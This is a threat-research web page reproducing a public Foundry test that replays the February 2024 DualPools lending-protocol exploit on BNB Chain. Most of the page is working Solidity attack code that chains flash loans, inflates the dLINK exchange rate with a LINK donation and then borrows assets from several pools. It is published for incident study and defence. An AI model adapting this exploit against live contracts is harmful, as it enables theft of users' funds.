Skip to content
THREATWIRE

Public reproduction file

src/test/2024-02/DualPools_exp.sol

Public reproduction file for dataset entry DualPools.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-02/DualPools_exp.sol218 lines
1import "forge-std/Test.sol";
2
3import "./../interface.sol";
4
5// @KeyInfo - Total Lost : ~$42000 USD
6// Attacker : https://bscscan.com/address/0x4645863205b47a0a3344684489e8c446a437d66c
7// Attack Contract : https://bscscan.com/address/0x38721b0d67dfdba1411bb277d95af3d53fa7200e
8// Vulnerable Contract : https://bscscan.com/address/0x5e5e28029ef37fc97ffb763c4ac1f532bbd4c7a2
9// Attack Tx : https://bscscan.com/tx/0x90f374ca33fbd5aaa0d01f5fcf5dee4c7af49a98dc56b47459d8b7ad52ef1e93
11// @Info
12// Vulnerable Contract Code : https://bscscan.com/address/0x5e5e28029ef37fc97ffb763c4ac1f532bbd4c7a2#code
14// @Analysis
15// https://lunaray.medium.com/dualpools-hack-analysis-5209233801fa
17interface IMarketFacet {
18 function isComptroller() external pure returns (bool);
20 function liquidateCalculateSeizeTokens(
21 address vTokenBorrowed,
22 address vTokenCollateral,
23 uint256 actualRepayAmount
24 ) external view returns (uint256, uint256);
26 function liquidateVAICalculateSeizeTokens(
27 address vTokenCollateral,
28 uint256 actualRepayAmount
29 ) external view returns (uint256, uint256);
31 // function checkMembership(address account, VToken vToken) external view returns (bool);
33 function enterMarkets(
34 address[] calldata vTokens
35 ) external returns (uint256[] memory);
37 function exitMarket(
38 address vToken
39 ) external returns (uint256);
41 // function _supportMarket(VToken vToken) external returns (uint256);
43 // function getAssetsIn(address account) external view returns (VToken[] memory);
45 // function getAllMarkets() external view returns (VToken[] memory);
47 function updateDelegate(address delegate, bool allowBorrows) external;
50interface VBep20Interface {
51 function transfer(address dst, uint256 amount) external returns (bool);
53 function approve(address spender, uint256 amount) external returns (bool);
55 function balanceOf(
56 address owner
57 ) external view returns (uint256);
59 /**
60 * User Interface **
61 */
62 function mint(
63 uint256 mintAmount
64 ) external returns (uint256);
66 function mint() external payable;
68 function mintBehalf(address receiver, uint256 mintAmount) external returns (uint256);
70 function redeem(
71 uint256 redeemTokens
72 ) external returns (uint256);
74 function redeemUnderlying(
75 uint256 redeemAmount
76 ) external returns (uint256);
78 function borrow(
79 uint256 borrowAmount
80 ) external returns (uint256);
82 function repayBorrow(
83 uint256 repayAmount
84 ) external returns (uint256);
86 function repayBorrowBehalf(address borrower, uint256 repayAmount) external returns (uint256);
88 // function liquidateBorrow(
89 // address borrower,
90 // uint repayAmount,
91 // VTokenInterface vTokenCollateral
92 // ) external returns (uint);
94 /**
95 * Admin Functions **
96 */
97 function _addReserves(
98 uint256 addAmount
99 ) external returns (uint256);
102contract ContractTest is Test {
103 WETH9 private WBNB = WETH9(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
104 IERC20 private LINK = IERC20(0xF8A0BF9cF54Bb92F17374d9e9A321E6a111a51bD);
105 IERC20 private BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
106 IERC20 private BTCB = IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c);
107 IERC20 private ETH = IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8);
108 IERC20 private ADA = IERC20(0x3EE2200Efb3400fAbB9AacF31297cBdD1d435D47);
110 VBep20Interface private vLINK = VBep20Interface(0x650b940a1033B8A1b1873f78730FcFC73ec11f1f);
111 VBep20Interface private vBUSD = VBep20Interface(0xfD5840Cd36d94D7229439859C0112a4185BC0255);
112 VBep20Interface private vWBNB = VBep20Interface(0xA07c5b74C9B40447a954e1466938b865b6BBea36);
114 VBep20Interface private dLINK = VBep20Interface(0x8fBCC81E5983d8347495468122c65E2Dc274eed9);
115 VBep20Interface private dBTCB = VBep20Interface(0xB51F589BD9f69a0089c315521EE2FC848bAB6C0c);
116 VBep20Interface private dWBNB = VBep20Interface(0xB5aAaCcFd69EA45b1A5Aa7E9c7a5e0DB2ce4357e);
117 VBep20Interface private dETH = VBep20Interface(0x5F4a5252880b393a8cc4c01bBA4486Cf7a76075A);
118 VBep20Interface private dADA = VBep20Interface(0xb2cf43E119BFC41554c4445f1867dc9F4cf69deD);
119 VBep20Interface private dBUSD = VBep20Interface(0x514e2A29e98D49C676c93c5805cb83891CE6a9F5);
121 IMarketFacet VenusProtocol = IMarketFacet(0xfD36E2c2a6789Db23113685031d7F16329158384);
122 IMarketFacet Dualpools = IMarketFacet(0x5E5e28029eF37fC97ffb763C4aC1F532bbD4C7A2);
124 IDPPOracle DPPOracle_0x1b52 = IDPPOracle(0x1B525b095b7353c5854Dbf6B0BE5Aa10F3818FaC);
125 IDPPOracle DPPOracle_0x8191 = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d);
127 IPancakePair pancakeSwap = IPancakePair(0x824eb9faDFb377394430d2744fa7C42916DE3eCe); // LINK-WBNB
128 Uni_Pair_V3 pool = Uni_Pair_V3(0x172fcD41E0913e95784454622d1c3724f546f849);
130 function setUp() public {
131 vm.createSelectFork("bsc", 36_145_772 - 1);
132 vm.label(address(this), "AttackContract");
133 vm.label(address(WBNB), "WBNB");
134 vm.label(address(LINK), "LINK");
135 vm.label(address(BUSD), "BUSD");
136 vm.label(address(BTCB), "BTCB");
137 vm.label(address(ETH), "ETH");
138 vm.label(address(ADA), "ADA");
139 vm.label(address(vLINK), "vLINK");
140 vm.label(address(vBUSD), "vBUSD");
141 vm.label(address(vWBNB), "vWBNB");
142 vm.label(address(VenusProtocol), "VenusProtocol");
144 vm.label(address(dLINK), "dLINK");
145 vm.label(address(dBTCB), "dBTCB");
146 vm.label(address(dWBNB), "dWBNB");
147 vm.label(address(dETH), "dETH");
148 vm.label(address(dADA), "dADA");
149 vm.label(address(dBUSD), "dBUSD");
151 vm.label(address(Dualpools), "Dualpools");
152 }
154 function approveAll() internal {
155 BUSD.approve(address(vBUSD), type(uint256).max);
156 LINK.approve(address(vLINK), type(uint256).max);
157 LINK.approve(address(dLINK), type(uint256).max);
158 }
160 function testAttack() public {
161 approveAll();
162 DPPOracle_0x1b52.flashLoan(7_001_000_000_000_000_000, 0, address(this), new bytes(1)); // borrow BUSD
163 }
165 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
166 console.log(msg.sender);
167 if (msg.sender == address(DPPOracle_0x1b52)) {
168 pancakeSwap.swap(0, 1000, address(this), data); // pancakeCall , swap BUSD to LINK
169 BUSD.transfer(address(DPPOracle_0x1b52), 7_001_000_000_000_000_000);
170 } else if (msg.sender == address(DPPOracle_0x8191)) {
171 pool.flash(address(this), 70_000_000_000_000_000_000_000, 0, new bytes(1)); // v3call , borrow BUSD
172 WBNB.transfer(address(pancakeSwap), 59);
173 }
174 }
176 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
177 DPPOracle_0x8191.flashLoan(312_497_349_377_117_598_837, 154_451_704_908_346_387_787_280, address(this), data); // borrow WBNB and BUSD
178 }
180 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
181 address[] memory tokenList = new address[](2);
182 tokenList[0] = address(vBUSD);
183 tokenList[1] = address(vWBNB);
184 VenusProtocol.enterMarkets(tokenList);
185 vBUSD.mint(224_451_704_908_346_387_787_280); // 969266514517797 vBUSD
186 WBNB.withdraw(312_497_349_377_117_598_837);
187 vWBNB.mint{value: 312_497_349_377_117_598_837 wei}(); // 1320879335222 vBNB
188 vLINK.borrow(11_500_000_000_000_000_000_000);
190 dLINK.mint(2);
191 LINK.transfer(address(dLINK), 11_499_999_999_999_999_999_998);
192 address[] memory tokenList1 = new address[](1);
193 tokenList1[0] = address(dLINK);
194 Dualpools.enterMarkets(tokenList1);
195 dWBNB.borrow(50_074_555_376_020_317_788);
196 dBTCB.borrow(171_600_491_170_058_684);
197 dETH.borrow(3_992_080_357_935_675_366);
198 dADA.borrow(6_378_808_489_713_884_698_357);
199 dBUSD.borrow(911_577_468_904_829_524_350);
200 dLINK.redeemUnderlying(11_499_999_999_999_999_999_898);
202 // LINK.transfer(address(this), 1000); // not necessary
204 vLINK.repayBorrow(11_500_000_000_000_000_000_000);
205 vBUSD.redeem(969_266_514_517_797);
206 vWBNB.redeem(1_320_879_335_222);
208 // BUSD.transfer(address(this), 7001000000000000000); // not necessary
209 BUSD.transfer(address(DPPOracle_0x8191), 154_451_704_908_346_387_787_280);
210 BUSD.transfer(address(pool), 70_007_000_000_000_000_000_000);
212 WBNB.deposit{value: 362_571_904_345_528_150_166}();
213 WBNB.transfer(address(DPPOracle_0x8191), 312_497_349_377_117_598_837);
214 }
216 receive() external payable {}
217 fallback() external payable {}

Analysis

Dataset entry

Public Foundry test for “DualPools” (2024-02-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

21 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x4645863205b47a0a3344684489e8c446a437d66c

  • Attack Contract

    0x38721b0d67dfdba1411bb277d95af3d53fa7200e

  • Vulnerable Contract

    0x5e5e28029ef37fc97ffb763c4ac1f532bbd4c7a2

  • Attack Tx

    0x90f374ca33fbd5aaa0d01f5fcf5dee4c7af49a98dc56b47459d8b7ad52ef1e93

File record

Name
DualPools
Path
src/test/2024-02/DualPools_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
fdefa503fec59fd928891c5d188f3ba3482a8f85
Language
Solidity
Size
219 lines
Date
2024-02-15
Licence
ThreatWire editorial text
Retrieved
2026-10-19

Provenance

Path src/test/2024-02/DualPools_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob fdefa503fec59fd928891c5d188f3ba3482a8f85, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.